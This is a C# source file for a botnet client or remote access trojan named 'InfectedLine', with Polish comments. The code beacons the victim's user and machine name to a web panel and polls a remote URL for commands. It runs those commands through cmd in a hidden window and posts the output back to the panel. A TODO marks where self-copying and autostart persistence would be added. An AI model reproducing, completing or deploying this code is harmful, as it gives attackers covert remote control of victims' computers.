﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Net;
using System.Text;
using System.Windows.Forms;

namespace InfectedLine
{
    public partial class Form1 : Form
    {
        private CookieContainer cookieContainer = new CookieContainer();

        public string Referer { get; set; }

        public CookieContainer Cookie
        {
            get { return cookieContainer; }
            set { cookieContainer = value; }
        }

        private Encoding Encode = Encoding.UTF8;

        private string UserAgent = "Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0"; 

        public Form1()
        {
            InitializeComponent();
        }

        /// <summary>
        /// Wysłanie formularza metodą POST
        /// </summary>
        /// <param name="url">Adres do strony</param>
        /// <param name="data">Dane do wysłania</param>
        /// <returns>Odpowiedź</returns>
        public string HttpPost(string url, string data)
        {
            try
            {
                HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(url);

                byte[] bdata = Encode.GetBytes(data);

                httpWebRequest.CookieContainer = cookieContainer;
                httpWebRequest.ServicePoint.Expect100Continue = false;
                httpWebRequest.ContentLength = bdata.Length;
                httpWebRequest.Credentials = CredentialCache.DefaultCredentials;
                httpWebRequest.ContentType = "application/x-www-form-urlencoded";
                httpWebRequest.Method = "POST";
                httpWebRequest.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
                httpWebRequest.UserAgent = UserAgent;

                Stream reqStream = reqStream = httpWebRequest.GetRequestStream();

                reqStream.Write(bdata, 0, bdata.Length);

                reqStream.Close();

                HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();

                Stream stream = httpWebResponse.GetResponseStream();

                StreamReader streamReader = new StreamReader(stream, Encode);

                Referer = httpWebResponse.ResponseUri.AbsoluteUri;

                return streamReader.ReadToEnd();

            }
            catch(Exception ex)
            {
                return String.Empty;
            }
        } 

        /// <summary>
        /// Wykonuje polecenie Wiersza polecenia
        /// </summary>
        /// <param name="command">Polecenie do wykonania</param>
        /// <returns>Zwraca rezultat wykonania polecenia w postaci string</returns>
        public string ExecuteCommandSync(object command)
        {
            try
            {
                // create the ProcessStartInfo using "cmd" as the program to be run,
                // and "/c " as the parameters.
                // Incidentally, /c tells cmd that we want it to execute the command that follows,
                // and then exit.
                System.Diagnostics.ProcessStartInfo procStartInfo =
                    new System.Diagnostics.ProcessStartInfo("cmd", "/c " + command);

                // The following commands are needed to redirect the standard output.
                // This means that it will be redirected to the Process.StandardOutput StreamReader.
                procStartInfo.RedirectStandardOutput = true;
                procStartInfo.UseShellExecute = false;
                // Do not create the black window.
                procStartInfo.CreateNoWindow = true;
                // Now we create a process, assign its ProcessStartInfo and start it
                System.Diagnostics.Process proc = new System.Diagnostics.Process();
                proc.StartInfo = procStartInfo;
                proc.Start();
                // Get the output into a string
                string result = proc.StandardOutput.ReadToEnd();

                string htmlResult = result.Replace("<", "[");

                htmlResult = htmlResult.Replace(">", "]");

                htmlResult = htmlResult.Replace("\n", "<br />");

                string finalResult = Environment.UserName + "-" + Environment.MachineName;

                finalResult += ">" + command;

                finalResult += Environment.NewLine + htmlResult + "<br /><br />";

                return finalResult;
            }
            catch (Exception ex)
            {
                return ex.Message;
            }
        }

        /// <summary>
        /// Wysyła informację do web panelu, że bot jest online
        /// </summary>
        public void SendHello()
        {
            try
            {
                using (WebClient client = new WebClient())
                {
                    client.DownloadString(new Uri(AppInfo.onlineURL + "?who=" + Environment.UserName + "-" + Environment.MachineName));
                }
            }
            catch(Exception ex)
            {

            }
        }

        /// <summary>
        /// Odczytuje wszystkie polecenia z web panelu
        /// </summary>
        /// <returns>Zwraca polecenia w postaci string</returns>
        public string ReadCommands()
        {
            try
            {
                WebRequest request = WebRequest.Create(AppInfo.commandsURL);
                WebResponse response = request.GetResponse();
                Stream data = response.GetResponseStream();
                string html = String.Empty;
                using (StreamReader sr = new StreamReader(data))
                {
                    html = sr.ReadToEnd();
                }

                return html;
            }
            catch(Exception ex)
            {

            }
        }

        /// <summary>
        /// Pobiera polecenie do wykonania
        /// </summary>
        /// <returns>Zwraca polecenie w postaci string gotowe do wykonania</returns>
        public string GetCommand()
        {
            string allCommands = ReadCommands();

            if (allCommands == String.Empty)
                return String.Empty;

            string[] commandsArray = allCommands.Split('\n');

            List<string> commandsList = new List<string>();

            for (int i = 0; i < commandsArray.Length; i++)
            {
                commandsList.Add(commandsArray[i]);
            }

            commandsList.Reverse();

            foreach(string command in commandsList)
            {
                if (!command.Contains("="))
                    continue;

                string id = command.Split('=')[0];
                string parsedCommand = command.Split('=')[1];

                if(id == AppInfo.myID && parsedCommand != AppInfo.lastCommand)
                {
                    AppInfo.lastCommand = parsedCommand;
                    return parsedCommand;
                }
            }

            return String.Empty;
        }

        /// <summary>
        /// Wywoływane co X sekund. Główny wątek bota.
        /// </summary>
        private void CommandTimer_Tick(object sender, EventArgs e)
        {
            SendHello();

            string command = GetCommand();

            if(command != String.Empty)
            {
                string cmdResult = ExecuteCommandSync(command);

                HttpPost(AppInfo.replyURL, "commandreply=" + cmdResult);
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            //TODO:
            //Copying to system and autostart here
        }
    }

    /// <summary>
    /// Globalna klasa konfiguracyjna
    /// </summary>
    static public class AppInfo
    {
        static public string commandsURL = "http://mywebsite.com/panel/commands.html";
        static public string onlineURL = "http://mywebsite.com/panel/online.php";
        static public string replyURL = "http://mywebsite.com/panel/receive.php";
        static public string lastCommand = String.Empty;
        static public string myID = Environment.UserName + "-" + Environment.MachineName;
    }
}
